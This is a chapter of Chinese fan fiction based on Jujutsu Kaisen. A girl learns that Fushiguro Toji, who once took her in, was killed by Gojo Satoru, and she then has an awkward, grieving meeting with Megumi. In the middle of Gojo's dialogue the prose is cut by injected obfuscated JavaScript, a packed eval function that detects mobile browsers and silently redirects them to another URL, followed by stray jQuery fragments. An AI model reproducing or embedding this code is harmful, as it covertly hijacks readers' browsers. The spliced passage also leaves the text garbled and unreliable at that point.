7. 伦理剧
作品:《和海胆头be后谈了最强咒术师》 我用手背抵着太阳穴,另一只手转着笔,酸涩的眼睛缓慢地眨了下。
“不知道。”
要说我也不知道他是谁呢,不知道他的名姓,我除了记得他那张脸,我对他一无所知。
“跟小惠长得很像的是有个人,我认识他。”五条悟轻松的话音响起。
我停下转笔,愕然地睁大眼,从他口中听到令我十分平静的话。
“他死了,我杀的。”
男人蒙着眼罩的下半张脸无波无澜,恍若说“今天天气真好啊”一般。我望向落地窗外的晴空蓝海,白鸟飞过黑色电缆,足尖掠了掠海平面。
我从继子口中听到了那个人死去的前因后果。他叫伏黑甚尔,是黑市上最有名的杀手,作为他任务目标的咒术师没一个能活下来。
那时,我被伏黑甚尔从积雪的路边捡走,他带我去警局找名字,去医院给我检查治病,领我回家给我做了碗滚烫好吃的拉面,在一个夏夜我没等到他回来独自睡去。而伏黑甚尔彼时已经死在我继子的手里。
听到五条悟问我找这个人做什么时,我极其轻微地嘴唇抖了下,望着外面缓缓笑了笑说:“没什么啊,就是问问看是不是有这个人存在。”
他跟伏黑惠姓氏一样。难怪长得很像,原来是父子。我不能告诉继子我和那个人的过往,这说不定会给他带来不必要的情感累赘。
老实说知道伏黑甚尔的死讯并没让我有多难过,就跟五条悟说今天天气真好一样,我一滴眼泪都掉不出来,那些人类哭泣前鼻头一酸的生理反应我完全没有。
接下来的一个月时间里我打算全神贯注地备考高中和努力跟伏黑惠恋爱。我的继子五条悟很乐意撮合我跟伏黑惠,他对我说了很不孝但我很爱听的话:“期待小蝶叫我爸爸的那天噢。”
要是我跟伏黑惠在一起,五条悟确实超级加辈从儿子变成了公公,这就像一出大型伦理剧。
自那天模拟考结束,我在新家和五条悟一起度过刷题的周末。他还把伏黑惠也叫过来新家,这将是我们初遇后的第二面。
见他前我紧张得手抖,一直拉着五条悟的手问来问去:“我脸上的痘痘真的看不见吗?头发有没有乱?香水没有喷得太浓吧?”
我和继子坐在地板上面对面,他今天没任务脸上戴着一副圆框墨镜。隔着墨镜他的视线落到我脸上,甜甜的奶油夹在呼吸中。那双温热的手缓缓抚过我脸颊,粗粝的指腹微微摁了摁我青春痘的位置。
“是这里吧?”他叹着气问。
我感到轻微的痛后点了点头,垂眼看到红色的反转咒力光芒撑大眼前,他放下手时我立刻抬手摸了摸青春痘的位置,摸到一片平整的皮肤。我松了口气,伸手捧住五条悟的脸颊,下意识凑过去把他当小时候的小公主般朝他的脸颊狠狠亲了一口。
“悟做得真棒。”
我兴冲冲起身跑进浴室照镜子,一下贴近镜子,一下退后几步侧着看我的全身。镜子里面的女孩蓝发红瞳,皮肤算白,身上穿着露肚脐的白色短装配黑色牛仔裤,这身搭配是我可爱的继子给我选的,他说这样肯定能让伏黑惠喜欢。
我身后蓦地出现一道高大人影,将宽阔的浴室变得狭窄起来。他伸出手指摸到我露出来的后颈,边轻轻扯下我的头绳,边说:“小蝶的头发还是散下来更好看。”
“你给我扎头发的时候不是还说扎起来露出脖子线条更好吗?”我对五条悟给我扎的丸子头很满意才会这么问他。
五条悟的手指穿过我发丝缝隙,他低着头墨镜滑到鼻梁上,钴蓝色眼珠微垂:“每个青春期的男生都幻想过女朋友长发飘飘嘛。”
“对啊。”我倒吸一口气,一拳拍到洗手台上,“悟你快三十了吧,谈女朋友了怎么不带给我看看?是不是结婚了?不对吧这个年纪——”
“孩子都该满地跑了?”五条悟用接话的方式打断我话音。
我转过身,双手搭上他强壮的大臂,点了点头笑意盈盈:“那我是不是得做奶奶了,欸那我孙女孙子呢?”
五条悟深吸一口气推着我走出浴室,我不停回头问他,他把我摁回地上坐着才对我说:“没有孩子,没有结婚,没有女朋友。”
“初恋呢?别告诉我没有初恋,悟你知道的你骗不过妈妈我啊。”我老气横秋地板起年轻的脸。
五条悟从冰箱拿了盒蓝莓泡芙回来,嘴里吃着一个,手里捏着一个,在我的凝视下他含糊着声音说:“有初恋,我的初恋是个狠毒的人。”
我睁大眼皱了下眉,看到他手里捏着的泡芙奶油都挤了出来,我张开嘴又闭了嘴。那枚被捏成像蝴蝶的泡芙被五条悟温温吞吞地吃进嘴里,他手指上残留着淡蓝色奶油,边漫不经心地拿纸巾擦手,他边呵呵一笑说:“她真是个非常狠毒的人,可以说让我记了她一辈子的程度。”
我既心疼继子被一个坏女人伤害了,又很好奇那个坏女人到底对继子做了什么让他能用“狠毒”形容她。
五条悟像是看出我的复杂情绪,别过头并没有延续这个话题的意思。我又不是什么很不会看气氛的人,看得出可怜的继子在为伤害过他的坏女人沉默。我叹了声气摸了摸他的头发,温柔地说:“悟,不要吊死在一棵树上啊,虽然我嫁给过你爸爸,但是我现在就在追求真爱啊,吊死在一棵树上那真是太凄凉了。所以惠快到了吧,我又开始紧张了怎么办。”
“把这次见面当作最后一次见面就不会紧张了。”五条悟伸出修长白皙的手指扶了下墨镜,转过头面向我。
我一下子没懂他的意思,眨了眨眼,抱起膝盖作出认真听讲的样子。
五条悟长腿屈起,手肘搭膝盖上,脸趴在手臂上挤出一点雪白的肉。他撑在地板的手随心所欲地敲着,海风声送来结冰的气息。
“只要想着每次见完就没有下次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129159|164373||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,完全紧张不起来了嘛,一直看着那个人都不够,紧张什么的在分别面前不值一提吧。”
“好像……真是这样。”我缓缓道。
一设想这次是我和伏黑惠最后一次见面,我变得平静起来,就像我听到他父亲的死亡原因一般。
门铃声在这时响起,五条悟起身去开了门,而我盘腿坐地板上,双手托腮。
一个穿着黑色冲锋衣的少年闯进我视野,他湖水绿的眼珠渐渐放大我眼前。那一刻,我看到的是他,也不是他。
我眼睛里灌满温热的液体,在被他们注意到异样前,我假装捂着肚子冲进浴室关门,全身力气被抽空,顺着浴室门滑坐地。我不停抿嘴唇咬指甲,想让自己笑起来,眼睛里的悲伤却像一条源源不断的河淌过我这做变成废墟的山。
原来我并不是不为那个人的死讯悲恸。
与我以为的平静相反,我现在难过到恍若有一把剑捅进我心脏,这还不够,那把剑刺穿我所有血管内脏和神经,它要把我砍得头破血流,剑身的红斑从我嘴里散发出难闻的铁锈味。我扶着洗手台站起身,看着镜子里面庞泛着阴惨白的女生,唇角流着血,红色的眼睛周围红了一圈。
这样子出去肯定不行。
我想了一个拙劣而最靠谱的理由。
正当我开门若无其事坐回地板上时,冷淡的少年嗓音响起。
“五条老师刚刚出去了要买晚上做饭用的食材。”
“嗯,我知道的。”
这是继子为我和伏黑惠创造二人共处的空间。
“时生,你……眼睛还好吗?”伏黑惠问。
我不敢抬头看他,怕一看他我的眼睛又会不听使唤。我低着头拿习题做起来,边拿手挡住靠近他的半边脸,边用带笑的口吻说:“没什么事,就是隐形眼镜滑片,好半天才拿出来扔了。可以直接叫我的名字,我想和你变得亲近些。”
“好。”
“好的意思是我也能叫你的名字了吗?”
“随你。”
我旁边传来笔在纸上写字的沙沙声,一张白纸被人推到我面前,上面用黑色中性笔写了汉字的“伏黑惠”和假名的“伏黑惠”。男生的字迹清秀,没有多余的弯弯绕绕,写字就像一气呵成。
我拿笔也在那张纸上在他的名字旁边用汉字和假名写下我的名字,“时生蝶”。
白色的纸上只有两个人的名字,那张纸被我用笔袋压住,不让它被风吹得乱飘。接下来我做题总是忍不住看那张纸上的伏黑惠,我还是不敢转头看他,要是一看到他又忍不住掉眼泪的话,就没办法再用隐形眼镜滑片解释了。
继子说的很对,把每次见面当成最后一次就根本不会紧张。
我现在是一点都没有紧张的情绪。眼睛里只能装得下那张白纸上的名字,结冰的海风送来冰融化成水的气息,少年身上清淡的皂角香气萦绕我鼻尖。